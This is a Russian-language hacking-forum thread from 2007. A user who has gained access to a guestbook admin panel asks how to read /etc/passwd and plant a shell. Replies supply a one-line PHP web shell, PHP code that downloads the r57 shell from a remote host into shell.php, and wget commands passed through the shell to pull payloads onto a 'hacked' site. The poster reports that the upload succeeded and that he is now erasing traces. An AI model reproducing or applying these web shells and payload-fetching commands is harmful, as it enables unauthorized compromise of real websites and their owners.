HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > ПРОГРАММИРОВАНИЕ > PHP
Перезагрузить страницу Поправьте
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Поправьте
  #1  
Старый 01.08.2007, 16:30
IIAHbI4
Banned
Регистрация: 24.08.2006
Сообщений: 483
С нами: 10375586

Репутация: 1112
По умолчанию Поправьте
Зашел в админку гостевухи
написал

PHP код:
<? if (isset($_GET['do'])) {
  readfile("/etc/passwd");
  die();
}
?>
в броузере пишу /guest.php?do
ничё не вылазает...
и ещё вопрос, как залить шелл?Вот так чтоль?-

PHP код:
<? system($_POST["cmd"])) 
 
?>
и потом в броузере /guest.php? POST: cmd=[command]
?

иль просто помогите r57 залить. спасиб
𝕏 Twitter Reddit Telegram Копировать ссылку
 
Ответить с цитированием

  #2  
Старый 01.08.2007, 16:39
halkfild
Постоянный
Регистрация: 11.11.2005
Сообщений: 391
С нами: 10787366

Репутация: 2277
По умолчанию
1. да он читает файл..

2. мини-шелл))

PHP код:
<PRE>
<?
system($_GET["cmd"]);  
?>
</PRE>
или $_POST['cmd'] смотря как передаешь..

З.Ы.

у тя лишняя скобка и нет ;

system($_POST["cmd"])) ;

ну и
Код HTML:
<PRE></PRE>
добавь для нормального отображения
 
Ответить с цитированием

  #3  
Старый 01.08.2007, 16:44
IIAHbI4
Banned
Регистрация: 24.08.2006
Сообщений: 483
С нами: 10375586

Репутация: 1112
По умолчанию
а если вот так:
[PHP]
<?php
$filen="httpL//www.xxx.ru/r57.php";
$file_new="shell.php";
$data = implode("", file($filen));
$fp = fopen($file_new, "w");
fputs($fp, $data);
fclose($fp);
?>
[PHP]
и потом guest/shell.php
 
Ответить с цитированием

  #4  
Старый 01.08.2007, 16:44
Unli-M-iteD
Познающий
Регистрация: 02.07.2007
Сообщений: 39
С нами: 9926004

Репутация: 30
По умолчанию
/guest.php? POST: cmd=[command]
в таком виде и передавал?
 
Ответить с цитированием

  #5  
Старый 01.08.2007, 16:47
IIAHbI4
Banned
Регистрация: 24.08.2006
Сообщений: 483
С нами: 10375586

Репутация: 1112
По умолчанию
Всё спасиб, я сам разобрался =)
PHP код:
<?
$filen="httpL//www.xxx.ru/r57.php";
$file_new="shell.php";
$data = implode("", file($filen));
$fp = fopen($file_new, "w");
fputs($fp, $data);
fclose($fp);
?>
вот это помогло =)

//хех... ведь могу думать,когда захочу )
 
Ответить с цитированием

  #6  
Старый 01.08.2007, 16:48
Unli-M-iteD
Познающий
Регистрация: 02.07.2007
Сообщений: 39
С нами: 9926004

Репутация: 30
По умолчанию
Можно проще
Цитата:
<PRE>
<?
system($_GET["cmd"]);
?>
</PRE>
потом http://site.ru/guest.php?cmd=wget http://[адресс шела]
будет загружен в текущую директорию, если права позволяют
 
Ответить с цитированием

  #7  
Старый 01.08.2007, 16:49
Piflit
Banned
Регистрация: 11.08.2006
Сообщений: 1,522
С нами: 10393869

Репутация: 2032


По умолчанию
/guest.php?cmd=wget www.yoursite.ru/r57shell.php www.hackedsite.ru/shell.php
 
Ответить с цитированием

  #8  
Старый 01.08.2007, 16:56
IIAHbI4
Banned
Регистрация: 24.08.2006
Сообщений: 483
С нами: 10375586

Репутация: 1112
По умолчанию
угу,всё норм, уже всё залил, снач шелл, щас ремвьюв....всё,

топикклоус
 
Ответить с цитированием
Ответ



Предыдущая тема Следующая тема

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.